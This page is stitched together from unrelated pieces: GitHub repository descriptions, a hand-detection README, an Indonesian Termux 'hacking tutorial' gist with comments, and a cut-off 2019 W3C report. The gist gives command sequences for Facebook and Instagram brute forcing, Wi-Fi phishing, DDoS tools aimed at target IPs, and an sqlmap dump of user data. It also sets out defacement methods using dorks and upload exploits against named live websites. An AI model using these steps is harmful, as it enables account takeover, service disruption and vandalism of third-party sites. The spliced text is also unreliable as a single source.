89 skills found · Page 1 of 3
NVIDIA / NvvlA library that uses hardware acceleration to load sequences of video frames to facilitate machine learning training
Lightning-AI / LitDataSpeed up model training by fixing data loading.
RaivoKoot / Video Dataset Loading PytorchGeneric PyTorch dataset implementation to load and augment VIDEOS for deep learning training loops.
NVIDIA-Merlin / DataloaderThe merlin dataloader lets you rapidly load tabular data for training deep leaning models with TensorFlow, PyTorch or JAX
center-for-humans-and-machines / Transformer HeadsToolkit for attaching, training, saving and loading of new heads for transformer models
facebookresearch / PacoThis repo contains documentation and code needed to use PACO dataset: data loaders and training and evaluation scripts for objects, parts, and attributes prediction models, query evaluation scripts, and visualization notebooks.
molyswu / Hand Detectionusing Neural Networks (SSD) on Tensorflow. This repo documents steps and scripts used to train a hand detector using Tensorflow (Object Detection API). As with any DNN based task, the most expensive (and riskiest) part of the process has to do with finding or creating the right (annotated) dataset. I was interested mainly in detecting hands on a table (egocentric view point). I experimented first with the [Oxford Hands Dataset](http://www.robots.ox.ac.uk/~vgg/data/hands/) (the results were not good). I then tried the [Egohands Dataset](http://vision.soic.indiana.edu/projects/egohands/) which was a much better fit to my requirements. The goal of this repo/post is to demonstrate how neural networks can be applied to the (hard) problem of tracking hands (egocentric and other views). Better still, provide code that can be adapted to other uses cases. If you use this tutorial or models in your research or project, please cite [this](#citing-this-tutorial). Here is the detector in action. <img src="images/hand1.gif" width="33.3%"><img src="images/hand2.gif" width="33.3%"><img src="images/hand3.gif" width="33.3%"> Realtime detection on video stream from a webcam . <img src="images/chess1.gif" width="33.3%"><img src="images/chess2.gif" width="33.3%"><img src="images/chess3.gif" width="33.3%"> Detection on a Youtube video. Both examples above were run on a macbook pro **CPU** (i7, 2.5GHz, 16GB). Some fps numbers are: | FPS | Image Size | Device| Comments| | ------------- | ------------- | ------------- | ------------- | | 21 | 320 * 240 | Macbook pro (i7, 2.5GHz, 16GB) | Run without visualizing results| | 16 | 320 * 240 | Macbook pro (i7, 2.5GHz, 16GB) | Run while visualizing results (image above) | | 11 | 640 * 480 | Macbook pro (i7, 2.5GHz, 16GB) | Run while visualizing results (image above) | > Note: The code in this repo is written and tested with Tensorflow `1.4.0-rc0`. Using a different version may result in [some errors](https://github.com/tensorflow/models/issues/1581). You may need to [generate your own frozen model](https://pythonprogramming.net/testing-custom-object-detector-tensorflow-object-detection-api-tutorial/?completed=/training-custom-objects-tensorflow-object-detection-api-tutorial/) graph using the [model checkpoints](model-checkpoint) in the repo to fit your TF version. **Content of this document** - Motivation - Why Track/Detect hands with Neural Networks - Data preparation and network training in Tensorflow (Dataset, Import, Training) - Training the hand detection Model - Using the Detector to Detect/Track hands - Thoughts on Optimizations. > P.S if you are using or have used the models provided here, feel free to reach out on twitter ([@vykthur](https://twitter.com/vykthur)) and share your work! ## Motivation - Why Track/Detect hands with Neural Networks? There are several existing approaches to tracking hands in the computer vision domain. Incidentally, many of these approaches are rule based (e.g extracting background based on texture and boundary features, distinguishing between hands and background using color histograms and HOG classifiers,) making them not very robust. For example, these algorithms might get confused if the background is unusual or in situations where sharp changes in lighting conditions cause sharp changes in skin color or the tracked object becomes occluded.(see [here for a review](https://www.cse.unr.edu/~bebis/handposerev.pdf) paper on hand pose estimation from the HCI perspective) With sufficiently large datasets, neural networks provide opportunity to train models that perform well and address challenges of existing object tracking/detection algorithms - varied/poor lighting, noisy environments, diverse viewpoints and even occlusion. The main drawbacks to usage for real-time tracking/detection is that they can be complex, are relatively slow compared to tracking-only algorithms and it can be quite expensive to assemble a good dataset. But things are changing with advances in fast neural networks. Furthermore, this entire area of work has been made more approachable by deep learning frameworks (such as the tensorflow object detection api) that simplify the process of training a model for custom object detection. More importantly, the advent of fast neural network models like ssd, faster r-cnn, rfcn (see [here](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/detection_model_zoo.md#coco-trained-models-coco-models) ) etc make neural networks an attractive candidate for real-time detection (and tracking) applications. Hopefully, this repo demonstrates this. > If you are not interested in the process of training the detector, you can skip straight to applying the [pretrained model I provide in detecting hands](#detecting-hands). Training a model is a multi-stage process (assembling dataset, cleaning, splitting into training/test partitions and generating an inference graph). While I lightly touch on the details of these parts, there are a few other tutorials cover training a custom object detector using the tensorflow object detection api in more detail[ see [here](https://pythonprogramming.net/training-custom-objects-tensorflow-object-detection-api-tutorial/) and [here](https://towardsdatascience.com/how-to-train-your-own-object-detector-with-tensorflows-object-detector-api-bec72ecfe1d9) ]. I recommend you walk through those if interested in training a custom object detector from scratch. ## Data preparation and network training in Tensorflow (Dataset, Import, Training) **The Egohands Dataset** The hand detector model is built using data from the [Egohands Dataset](http://vision.soic.indiana.edu/projects/egohands/) dataset. This dataset works well for several reasons. It contains high quality, pixel level annotations (>15000 ground truth labels) where hands are located across 4800 images. All images are captured from an egocentric view (Google glass) across 48 different environments (indoor, outdoor) and activities (playing cards, chess, jenga, solving puzzles etc). <img src="images/egohandstrain.jpg" width="100%"> If you will be using the Egohands dataset, you can cite them as follows: > Bambach, Sven, et al. "Lending a hand: Detecting hands and recognizing activities in complex egocentric interactions." Proceedings of the IEEE International Conference on Computer Vision. 2015. The Egohands dataset (zip file with labelled data) contains 48 folders of locations where video data was collected (100 images per folder). ``` -- LOCATION_X -- frame_1.jpg -- frame_2.jpg ... -- frame_100.jpg -- polygons.mat // contains annotations for all 100 images in current folder -- LOCATION_Y -- frame_1.jpg -- frame_2.jpg ... -- frame_100.jpg -- polygons.mat // contains annotations for all 100 images in current folder ``` **Converting data to Tensorflow Format** Some initial work needs to be done to the Egohands dataset to transform it into the format (`tfrecord`) which Tensorflow needs to train a model. This repo contains `egohands_dataset_clean.py` a script that will help you generate these csv files. - Downloads the egohands datasets - Renames all files to include their directory names to ensure each filename is unique - Splits the dataset into train (80%), test (10%) and eval (10%) folders. - Reads in `polygons.mat` for each folder, generates bounding boxes and visualizes them to ensure correctness (see image above). - Once the script is done running, you should have an images folder containing three folders - train, test and eval. Each of these folders should also contain a csv label document each - `train_labels.csv`, `test_labels.csv` that can be used to generate `tfrecords` Note: While the egohands dataset provides four separate labels for hands (own left, own right, other left, and other right), for my purpose, I am only interested in the general `hand` class and label all training data as `hand`. You can modify the data prep script to generate `tfrecords` that support 4 labels. Next: convert your dataset + csv files to tfrecords. A helpful guide on this can be found [here](https://pythonprogramming.net/creating-tfrecord-files-tensorflow-object-detection-api-tutorial/).For each folder, you should be able to generate `train.record`, `test.record` required in the training process. ## Training the hand detection Model Now that the dataset has been assembled (and your tfrecords), the next task is to train a model based on this. With neural networks, it is possible to use a process called [transfer learning](https://www.tensorflow.org/tutorials/image_retraining) to shorten the amount of time needed to train the entire model. This means we can take an existing model (that has been trained well on a related domain (here image classification) and retrain its final layer(s) to detect hands for us. Sweet!. Given that neural networks sometimes have thousands or millions of parameters that can take weeks or months to train, transfer learning helps shorten training time to possibly hours. Tensorflow does offer a few models (in the tensorflow [model zoo](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/detection_model_zoo.md#coco-trained-models-coco-models)) and I chose to use the `ssd_mobilenet_v1_coco` model as my start point given it is currently (one of) the fastest models (read the SSD research [paper here](https://arxiv.org/pdf/1512.02325.pdf)). The training process can be done locally on your CPU machine which may take a while or better on a (cloud) GPU machine (which is what I did). For reference, training on my macbook pro (tensorflow compiled from source to take advantage of the mac's cpu architecture) the maximum speed I got was 5 seconds per step as opposed to the ~0.5 seconds per step I got with a GPU. For reference it would take about 12 days to run 200k steps on my mac (i7, 2.5GHz, 16GB) compared to ~5hrs on a GPU. > **Training on your own images**: Please use the [guide provided by Harrison from pythonprogramming](https://pythonprogramming.net/training-custom-objects-tensorflow-object-detection-api-tutorial/) on how to generate tfrecords given your label csv files and your images. The guide also covers how to start the training process if training locally. [see [here] (https://pythonprogramming.net/training-custom-objects-tensorflow-object-detection-api-tutorial/)]. If training in the cloud using a service like GCP, see the [guide here](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/running_on_cloud.md). As the training process progresses, the expectation is that total loss (errors) gets reduced to its possible minimum (about a value of 1 or thereabout). By observing the tensorboard graphs for total loss(see image below), it should be possible to get an idea of when the training process is complete (total loss does not decrease with further iterations/steps). I ran my training job for 200k steps (took about 5 hours) and stopped at a total Loss (errors) value of 2.575.(In retrospect, I could have stopped the training at about 50k steps and gotten a similar total loss value). With tensorflow, you can also run an evaluation concurrently that assesses your model to see how well it performs on the test data. A commonly used metric for performance is mean average precision (mAP) which is single number used to summarize the area under the precision-recall curve. mAP is a measure of how well the model generates a bounding box that has at least a 50% overlap with the ground truth bounding box in our test dataset. For the hand detector trained here, the mAP value was **0.9686@0.5IOU**. mAP values range from 0-1, the higher the better. <img src="images/accuracy.jpg" width="100%"> Once training is completed, the trained inference graph (`frozen_inference_graph.pb`) is then exported (see the earlier referenced guides for how to do this) and saved in the `hand_inference_graph` folder. Now its time to do some interesting detection. ## Using the Detector to Detect/Track hands If you have not done this yet, please following the guide on installing [Tensorflow and the Tensorflow object detection api](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/installation.md). This will walk you through setting up the tensorflow framework, cloning the tensorflow github repo and a guide on - Load the `frozen_inference_graph.pb` trained on the hands dataset as well as the corresponding label map. In this repo, this is done in the `utils/detector_utils.py` script by the `load_inference_graph` method. ```python detection_graph = tf.Graph() with detection_graph.as_default(): od_graph_def = tf.GraphDef() with tf.gfile.GFile(PATH_TO_CKPT, 'rb') as fid: serialized_graph = fid.read() od_graph_def.ParseFromString(serialized_graph) tf.import_graph_def(od_graph_def, name='') sess = tf.Session(graph=detection_graph) print("> ====== Hand Inference graph loaded.") ``` - Detect hands. In this repo, this is done in the `utils/detector_utils.py` script by the `detect_objects` method. ```python (boxes, scores, classes, num) = sess.run( [detection_boxes, detection_scores, detection_classes, num_detections], feed_dict={image_tensor: image_np_expanded}) ``` - Visualize detected bounding detection_boxes. In this repo, this is done in the `utils/detector_utils.py` script by the `draw_box_on_image` method. This repo contains two scripts that tie all these steps together. - detect_multi_threaded.py : A threaded implementation for reading camera video input detection and detecting. Takes a set of command line flags to set parameters such as `--display` (visualize detections), image parameters `--width` and `--height`, videe `--source` (0 for camera) etc. - detect_single_threaded.py : Same as above, but single threaded. This script works for video files by setting the video source parameter videe `--source` (path to a video file). ```cmd # load and run detection on video at path "videos/chess.mov" python detect_single_threaded.py --source videos/chess.mov ``` > Update: If you do have errors loading the frozen inference graph in this repo, feel free to generate a new graph that fits your TF version from the model-checkpoint in this repo. Use the [export_inference_graph.py](https://github.com/tensorflow/models/blob/master/research/object_detection/export_inference_graph.py) script provided in the tensorflow object detection api repo. More guidance on this [here](https://pythonprogramming.net/testing-custom-object-detector-tensorflow-object-detection-api-tutorial/?completed=/training-custom-objects-tensorflow-object-detection-api-tutorial/). ## Thoughts on Optimization. A few things that led to noticeable performance increases. - Threading: Turns out that reading images from a webcam is a heavy I/O event and if run on the main application thread can slow down the program. I implemented some good ideas from [Adrian Rosebuck](https://www.pyimagesearch.com/2017/02/06/faster-video-file-fps-with-cv2-videocapture-and-opencv/) on parrallelizing image capture across multiple worker threads. This mostly led to an FPS increase of about 5 points. - For those new to Opencv, images from the `cv2.read()` method return images in [BGR format](https://www.learnopencv.com/why-does-opencv-use-bgr-color-format/). Ensure you convert to RGB before detection (accuracy will be much reduced if you dont). ```python cv2.cvtColor(image_np, cv2.COLOR_BGR2RGB) ``` - Keeping your input image small will increase fps without any significant accuracy drop.(I used about 320 x 240 compared to the 1280 x 720 which my webcam provides). - Model Quantization. Moving from the current 32 bit to 8 bit can achieve up to 4x reduction in memory required to load and store models. One way to further speed up this model is to explore the use of [8-bit fixed point quantization](https://heartbeat.fritz.ai/8-bit-quantization-and-tensorflow-lite-speeding-up-mobile-inference-with-low-precision-a882dfcafbbd). Performance can also be increased by a clever combination of tracking algorithms with the already decent detection and this is something I am still experimenting with. Have ideas for optimizing better, please share! <img src="images/general.jpg" width="100%"> Note: The detector does reflect some limitations associated with the training set. This includes non-egocentric viewpoints, very noisy backgrounds (e.g in a sea of hands) and sometimes skin tone. There is opportunity to improve these with additional data. ## Integrating Multiple DNNs. One way to make things more interesting is to integrate our new knowledge of where "hands" are with other detectors trained to recognize other objects. Unfortunately, while our hand detector can in fact detect hands, it cannot detect other objects (a factor or how it is trained). To create a detector that classifies multiple different objects would mean a long involved process of assembling datasets for each class and a lengthy training process. > Given the above, a potential strategy is to explore structures that allow us **efficiently** interleave output form multiple pretrained models for various object classes and have them detect multiple objects on a single image. An example of this is with my primary use case where I am interested in understanding the position of objects on a table with respect to hands on same table. I am currently doing some work on a threaded application that loads multiple detectors and outputs bounding boxes on a single image. More on this soon.
tahanakabi / DRL For Microgrid Energy ManagementWe study the performance of various deep reinforcement learning algorithms for the problem of microgrid’s energy management system. We propose a novel microgrid model that consists of a wind turbine generator, an energy storage system, a population of thermostatically controlled loads, a population of price-responsive loads, and a connection to the main grid. The proposed energy management system is designed to coordinate between the different sources of flexibility by defining the priority resources, the direct demand control signals and the electricity prices. Seven deep reinforcement learning algorithms are implemented and empirically compared in this paper. The numerical results show a significant difference between the different deep reinforcement learning algorithms in their ability to converge to optimal policies. By adding an experience replay and a second semi-deterministic training phase to the well-known Asynchronous advantage actor critic algorithm, we achieved considerably better performance and converged to superior policies in terms of energy efficiency and economic value.
florencejt / FusilliA Python package housing a collection of deep-learning multi-modal data fusion method pipelines! From data loading, to training, to evaluation - fusilli's got you covered 🌸
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Jdi tinggl make aja [8/10 19.49] Yovis Si Wibub: --------------------------TOTUR MBF-----------------------$ pkg update && pkg upgrade $ pkg install python2 $ pip2 install mechanize $ git clone https://github.com/pirmansx/mbf Cara Menjalankannya : $ ls $ cd mbf $ python2 MBF.py [9/10 17.25] *~I⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟i⃟: Memper Cantik/Melihat V.Android Termux $ pkg update && pkg upgrade $ pkg install ruby cowsay toilet figlet $ pkg install neofetch $ pkg install nano $ gem install lolcat $ cd ../usr/etc $ nano bash.bashrc cowsay -f eyes Cyber | lolcat toilet -f standard Indonesia -F gay neofetch date | lolcat ✓ Hack FB rombongan $ apt update && apt upgrade $ pkg install python2 git $ pip2 install mechanize $ git clone http://github.com/pirmansx/mbf $ ls $ cd mbf $ python2 MBF.py ✓ Hack FB ngincer $ Apt update ( Enter ) $ Apt upgrade ( Enter ) $ Apt install python2 ( Enter ) $ pip2 install urllib3 chardet certifi idna requests ( Enter ) $ apt install openssl curl ( Enter ) $ pkg install libcurl ( Enter ) $ ln /sdcard ( Enter ) $ cd /sdcard ( Enter ) $ python2 fbbrute.py ( Enter ) ✓ Hack Gmail apt-get update && apt-get upgrade $ apt-get install git $ apt-get install python python-pip python-setuptools $ pip install scapy $ git clone https://github.com/wifiphisher/wifiphisher.git $ cd wifiphisher< $ python setup.py install $ cd wifiphisher $ python wifiphisher Nih yang mau hack WiFi Khusus root $apt update $apt upgrade $apt install git $git clone https://github.com/esc0rtd3w/wifi-hacker $ls $cd Ni KUMPULAN TUTOR TERMUX [X SCREW UP X] *HACK INSTAGRAM* ( sosial engineering) $ apt update && apt upgrade $ pkg install python $ pkg install git $ pkg install nano $ git clone https://github.com/avramit/instahack.git $ ls $ cd instahack $ ls $ pip install requests $ cd instahack $ nano pass.txt $ cat pass.txt $ ls $ python hackinsta.py Localizar ip Apt install python git git clone https://github.com/maldevel/IPGeoLocation.git cd IPGeoLocation chmod +x ipgeoLocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t http://www.google.com Lacak IP git clone https://github.com/maldevel/IPGeolocation cd IPGeolocation chmod +x ipgeolocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t IP yang ingin dilacak TOOL DDOS VIA TERMUX 1. Hammer $ pkg update (tekan enter) $ pkg upgrade (tekan enter) $ pkg install python (tekan enter) $ pkg install git (tekan enter) $ git clone https://github.com/cyweb/hammer (tekan enter) $ cd hammer (tekan enter) $ python hammer.py (tekan enter) $ python hammer.py -s [IP target] -p [port] -t 135 (tekan enter) 2. Xerxes $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 3. Torshammer $ pkg update $ pkg install git $ apt install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py 4. liteDDOS $ apt update $ apt upgrade $ pkg install git $ pkg install python2 $ git clone https://github.com/4L13199/LITEDDOS $ cd LITEDDOS $ python2 liteDDOS.py RED_HAWK tool $ apt update $ apt install git $ git clone https://github.com/Tuhinshubhra/RED_HAWK $ cd RED_HAWK $ chmod +x rhawk.php $ apt install php $ ls $ php rhawk.php ```Install webdav ``` $ apt update && upgrade $ apt install python2 $ pip2 install urllib3 chardet certifi idna requests $ apt install openssl curl $ pkg install libcurl $ ln -s /sdcard $ cd sdcard $ mkdir webdav $ cd webdav Tutorial Install *Tools-B4J1N64Nv5* pkg install update pkg install git pkg install toilet pkg install figlet pip2 install lolcat git clone https://github.com/DarknessCyberTeam/B4J1N64Nv5 cd B4J1N64Nv5 sh B4J1N64N.sh cara install termux ubuntu - apt update/pkg update - apt upgrade/pkg upgrade - pkg install git - pkg install proot - pkg install wget - git clone https://github.com/Neo-Oli/termux-ubuntu - cd termux-ubuntu - chmod +x ubuntu.sh - pip install -r requirements.txt - ./ubuntu.sh Untuk menjalankan - ./start.sh Cara install github tembak XL Dari awal 1.pkg upgrade 2.pkg update 3.pkg install git 4.pkg install python 5.git clone https://github.com/albertoanggi/xl-py 6.pip install -r requirements.txt 7.chmod +x app.py 8.python/python2 app.py *Install admin finder in termux* $ apt update && apt upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/AdheBolo/AdminFinder *Menjalankan* $ ls $ cd AdminFinder $ chmod 777 AdminFinder.py $ python2 AdminFinder.py *Cara install tool Mr.Rv1.1* $apt update && apt upgrade $pkg install git $pkg install gem $pkg install figlet $gem install lolcat $git clone https://github.com/Mr-R225/Mr.Rv1.1 $cd Mr.Rv1.1 $sh Mr.Rv1.1.sh tool install $ apt update && apt upgrade $ apt install git $ git clone https://github.com/aryanrtm/4wsectools cd 4wsectools chmod 777 tools ./tools TOOL FSOCIETY $ git clone https://github.com/manisso/fsociety $ cd fsociety $ ./install.sh $ ls $ python2 fsociety.py SQLMAP apt update apt install python apt install python2 apt install git git clone https://github.com/sqlmapproject/sqlmap https://github.com/sqlmapproject/sqlmap.git cd sqlmap Python2 sqlmap.py Exemplo Python2 sqlmap.py -u website –dbs -D acuart –tables -D acuart -T users –columns -D acuart -T users -C name,email,phone -dump BUSCA PAINEL ADM DE SITE pkg install git git clone https://github.com/Techzindia/admin_penal cd admin_penal chmod +x admin_panel_finder.py python2 admin_panel_finder.py HAKKU apt install pytho apt install git mkdir vasu git clone https://github.com/4shadoww/hakkuframework cd hakkuframework chmod +x hakku python hakku show modules use whois show options set target examplesite.com run TOOL D-TECT apt update apt install git git clone https://github.com/shawarkhanethicalhacker/D-TECT cd D-TECT apt install python2 chmod +x d-tect.py python2 d-tect.py examplesite.com viSQL apt update apt install python2 apt install git git clone https://github.com/blackvkng/viSQL cd viSQL python2 -m pip install -r requirements.txt python2 viSQL.py python2 viSQL.py -t http://www.bible-history.com Hash Buster apt update apt upgrade apt install python2 apt install git git clone https://github.com/UltimateHackers/Hash-Buster cd Hash-Buster python2 hash.py tool ubuntu $ apt update $ apt install git $ apt install wget $ apt install proot $ git clone https://github.com/Neo-Oli/termux-ubu… $ cd termux-ubuntu $ chmod +x ubuntu.sh $ ./ubuntu.sh $ ./start.sh (````Install``` *Hunner framework*) $ apt update $ apt install python $ apt install git -y $ git clone https://github.com/b3-v3r/Hunner $ cd Hunner $ chmod 777 hunner.py $ python hunner.py *Cara Install Lazymux di Termux* $ pkg update && upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/Gameye98/Lazymux $ cd Lazymux $ chmod +x lazymux.py $ python2 lazymux.py Cara install tools daijobu* Fungsinya nanti liat sendiri lah di dalem tools nya $apt upgrade && apt update $apt install php $apt install git Kalo udah selesai langsung masukan git nya dengan perintah $git clone https://github.com/alintamvanz/diejoubu $cd diejoubu $cd v1.2 $php diejoubu.php Hecker RECONDOG apt update apt install python python2 apt install git git clone https://github.com/UltimateHackers/ReconDog cd ReconDog chmod +x dog.py Python2 dog.py DEFACE Hacking Script-Deface $apt update $apt upgrade $apt install git $apt install python2 $git clone https://github.com/Ubaii/script-deface-creator $ls $cd script-deface-creator $ls $chmod +x create.py $ls $python2 create.py done semoga bisa bikin script Html CARA DEFACE Cara1 Siapkan script sendiri.. 1.buka browser kalian apa saja terserah lalu ke google 2.tulis dork nya berikut ini (inurl:"sitefinity/login.aspx) tanpa tanda buka kurung dan tutup kurung! lalu search 3.pilih lah salah satu website terserah kalian,klik website nya lalu tambahkan exploit nya sebagai berikut (sitefinity/usercontrols/dialog/documenteditordialog.aspx) tanpa buka tutup kurung! E http://sitetarget*org/sitefinity/usercontrols/dialogs/documenteditordialog.aspx 4.lalu klik search kembali! nah disitu kalian klik chose file dan pilih script deface punya kalian 5.klik yang di bawah nya tunggu sampai loading selesai 6.tambah link target tadi dengan (/files) contoh http://sitetarget*org/files/namascriptdefacekalian.html lalu klik search 7.selesai!! Cara2 Method/metode KCFinder Inurl:/kcfinder/browse.php Inurl:/Kcfinder/ Langsung saja upload file deface anda,lalu panggil dengan tambahan /file/namasckamu.html Contoh: https://basukiwater.com/kcfinder/browse.php jadi https://basukiwater.com/file/namasckamu.html cara3 Deface Onion.to File Upload Tutor ini sekarang lagi Ngtreend & Simple , tapi ingat ya bukan Deepweb melaikan Fake Deepweb hehehe... Mari kita Lanjut... Dork : - inurl:/upload site:.onion.to - intext:"Upload" site:.onion.to Live : https://tt3j2x4k5ycaa5zt.onion.to/upload.php Step By Step : 1. Dorking Dulu 2. Pilih Web Target 3. Pilih File yang mau di'upload 4. Tinggal klik Upload => Done 😆 Contoh Target : https://tt3j2x4k5ycaa5zt.onion.to/uploads/lopeyou.html https://danwin1210.me/uploads/lopeyou.html https://temp.xn--wda.fr/e719x8JgJ.html Mirror?! 😆 https://www.defacer.id/296011.html https://www.defacer.id/296024.html cara4 Metode com media Bahan : 1. Dork : - inurl:com_media site:com - inurl:com_media intext:"Upload" 2. Exploit : /index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder= 3. Upload'an : Format .txt 😁 Live Target : http://www.james-insurance.co.uk/ Step by Step : gunakan Live Targert dulu untuk Uji Coba 😁 1. Masukkan dork : inurl:com_media intext:"Upload" site:co.uk 2. Pilih salah satu Web 3. Masukkan Exploit http://www.james-insurance.co.uk/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder= 4. Lalu Upload file dalam tempat upload ( format .txt ) Akses shell ? Tambahkan : /images/namafile.txt contoh : http://www.james-insurance.co.uk/images/fac.txt Nanti Jadi Gini Hasilnyaa.. Mudah Bukan?! Tinggal Upload ke Defacer.id 😁 cara5 [POC] Vulnerability Simplicity Of Upload #Step 1: Dork: “Powered By: © Simplicity oF Upload” #Step 2: Exploit: http://[situstargetkamu]/PATH/upload.php *Tergantung dengan target. #Step 3: llowed file: gif, jpg, png, txt, php, asp, cgi, zip, exe, mp3, etc (not allowed for html) #Step 4: Preview: http://[situstargetkamu]/upload/[Your File] #Step 5: Live Demo: http://www.railfaneurope.net/pix/upload.php http://www.formplas.com/upload/upload.php Nah, saya kira cukup segitu aja kok, karena mudah tuh tutorial nya. Al in one crip termux $ apt update && apt upgrade $ pkg install php figlet ruby python python2 $ pip2 install lolcat $ git clone https://github.com/Rusmana-ID/rus $ cd $ cd rus $ ls $ sh v2.sh Kontak wa 083879017166 Note: user name:Rusmana Pasword:X-One Load earlier comments... husniawati commented on 3 Dec 2020 Gak bisa bang apa harus membuat file dulu atau gmn semua udah aku ikutin tapi gak bisa bisa Ruok2588 commented on 9 Dec 2020 Taiklah sya01019 commented on 12 Dec 2020 Percuma, , Ini siapa punya blog kayak babi sya01019 commented on 12 Dec 2020 Tampilan aja beda Rasa garam marco97-web commented on 22 Dec 2020 Password.a ga bisa bang Ilham619 commented on 12 Jan 2021 Bang kasih tau cara ambil akun free fire Reyhan720z commented on 13 Feb 2021 Bg sc fb nya gk work azuhry commented on 5 Mar 2021 gak ada yang work 😎 gue bisa Ilham619 commented on 5 Mar 2021 Kode termux untuk hack FB APA Pada tanggal Jum, 5 Mar 2021 01.47, azuhry <notifications@github.com> menulis: … ***@***.**** commented on this gist. ------------------------------ gak ada yang work 😎 gue bisa — You are receiving this because you commented. Reply to this email directly, view it on GitHub <https://gist.github.com/8d49c6cc91e3ecfcdc8c91d8abdd7450#gistcomment-3653833>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/ASNZOIQMA54PE3PD5QJV5LLTB7BRLANCNFSM4NBI2DHA> . MR-Bm13 commented on 15 Mar 2021 BULLSHIT LOP 28februari2005 commented on 11 May 2021 Work 100% hmm 🤔🤔🤔 28februari2005 commented on 11 May 2021 Bener work Ya dicoba 🤐🤐🤐 28februari2005 commented on 11 May 2021 Coba aja dulu baru komen jalilcy commented on 25 May 2021 Bang bisa minta tolong. Ajarkan buat hack fb. Sy ingin mengambil fb sya kena hack kazharalyu commented on 6 Jun 2021 Ada yang bisa ada yang gak bisa jalilcy commented on 6 Jun 2021 Saya ingin mengambil kembali akun facebook aku bang di hack orang Pada tanggal Min, 6 Jun 2021 18:55, kazharalyu ***@***.***> menulis: … ***@***.**** commented on this gist. ------------------------------ Ada yang bisa ada yang gak bisa — You are receiving this because you commented. Reply to this email directly, view it on GitHub <https://gist.github.com/8d49c6cc91e3ecfcdc8c91d8abdd7450#gistcomment-3770432>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AUGJUNGESYA6BKWK3RCP7V3TRNH35ANCNFSM4NBI2DHA> . wanted21 commented on 15 Jun 2021 Scrip whatsheck udh ngga bisa ya gan Cloning224 commented on 18 Jun 2021 Ada yg bisa hack akun highs Domino disini, tolong bantu saya. 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jettbrains / L W3C Strategic Highlights September 2019 This report was prepared for the September 2019 W3C Advisory Committee Meeting (W3C Member link). See the accompanying W3C Fact Sheet — September 2019. For the previous edition, see the April 2019 W3C Strategic Highlights. For future editions of this report, please consult the latest version. A Chinese translation is available. ☰ Contents Introduction Future Web Standards Meeting Industry Needs Web Payments Digital Publishing Media and Entertainment Web & Telecommunications Real-Time Communications (WebRTC) Web & Networks Automotive Web of Things Strengthening the Core of the Web HTML CSS Fonts SVG Audio Performance Web Performance WebAssembly Testing Browser Testing and Tools WebPlatform Tests Web of Data Web for All Security, Privacy, Identity Internationalization (i18n) Web Accessibility Outreach to the world W3C Developer Relations W3C Training Translations W3C Liaisons Introduction This report highlights recent work of enhancement of the existing landscape of the Web platform and innovation for the growth and strength of the Web. 33 working groups and a dozen interest groups enable W3C to pursue its mission through the creation of Web standards, guidelines, and supporting materials. We track the tremendous work done across the Consortium through homogeneous work-spaces in Github which enables better monitoring and management. We are in the middle of a period where we are chartering numerous working groups which demonstrate the rapid degree of change for the Web platform: After 4 years, we are nearly ready to publish a Payment Request API Proposed Recommendation and we need to soon charter follow-on work. In the last year we chartered the Web Payment Security Interest Group. In the last year we chartered the Web Media Working Group with 7 specifications for next generation Media support on the Web. We have Accessibility Guidelines under W3C Member review which includes Silver, a new approach. We have just launched the Decentralized Identifier Working Group which has tremendous potential because Decentralized Identifier (DID) is an identifier that is globally unique, resolveable with high availability, and cryptographically verifiable. We have Privacy IG (PING) under W3C Member review which strengthens our focus on the tradeoff between privacy and function. We have a new CSS charter under W3C Member review which maps the group's work for the next three years. In this period, W3C and the WHATWG have succesfully completed the negotiation of a Memorandum of Understanding rooted in the mutual belief that that having two distinct specifications claiming to be normative is generally harmful for the Web community. The MOU, signed last May, describes how the two organizations are to collaborate on the development of a single authoritative version of the HTML and DOM specifications. W3C subsequently rechartered the HTML Working Group to assist the W3C community in raising issues and proposing solutions for the HTML and DOM specifications, and for the production of W3C Recommendations from WHATWG Review Drafts. As the Web evolves continuously, some groups are looking for ways for specifications to do so as well. So-called "evergreen recommendations" or "living standards" aim to track continuous development (and maintenance) of features, on a feature-by-feature basis, while getting review and patent commitments. We see the maturation and further development of an incredible number of new technologies coming to the Web. Continued progress in many areas demonstrates the vitality of the W3C and the Web community, as the rest of the report illustrates. Future Web Standards W3C has a variety of mechanisms for listening to what the community thinks could become good future Web standards. These include discussions with the Membership, discussions with other standards bodies, the activities of thousands of participants in over 300 community groups, and W3C Workshops. There are lots of good ideas. The W3C strategy team has been identifying promising topics and invites public participation. Future, recent and under consideration Workshops include: Inclusive XR (5-6 November 2019, Seattle, WA, USA) to explore existing and future approaches on making Virtual and Augmented Reality experiences more inclusive, including to people with disabilities; W3C Workshop on Data Models for Transportation (12-13 September 2019, Palo Alto, CA, USA) W3C Workshop on Web Games (27-28 June 2019, Redmond, WA, USA), view report Second W3C Workshop on the Web of Things (3-5 June 2019, Munich, Germany) W3C Workshop on Web Standardization for Graph Data; Creating Bridges: RDF, Property Graph and SQL (4-6 March 2019, Berlin, Germany), view report Web & Machine Learning. The Strategy Funnel documents the staff's exploration of potential new work at various phases: Exploration and Investigation, Incubation and Evaluation, and eventually to the chartering of a new standards group. The Funnel view is a GitHub Project where new area are issues represented by “cards” which move through the columns, usually from left to right. Most cards start in Exploration and move towards Chartering, or move out of the funnel. Public input is welcome at any stage but particularly once Incubation has begun. This helps W3C identify work that is sufficiently incubated to warrant standardization, to review the ecosystem around the work and indicate interest in participating in its standardization, and then to draft a charter that reflects an appropriate scope. Ongoing feedback can speed up the overall standardization process. Since the previous highlights document, W3C has chartered a number of groups, and started 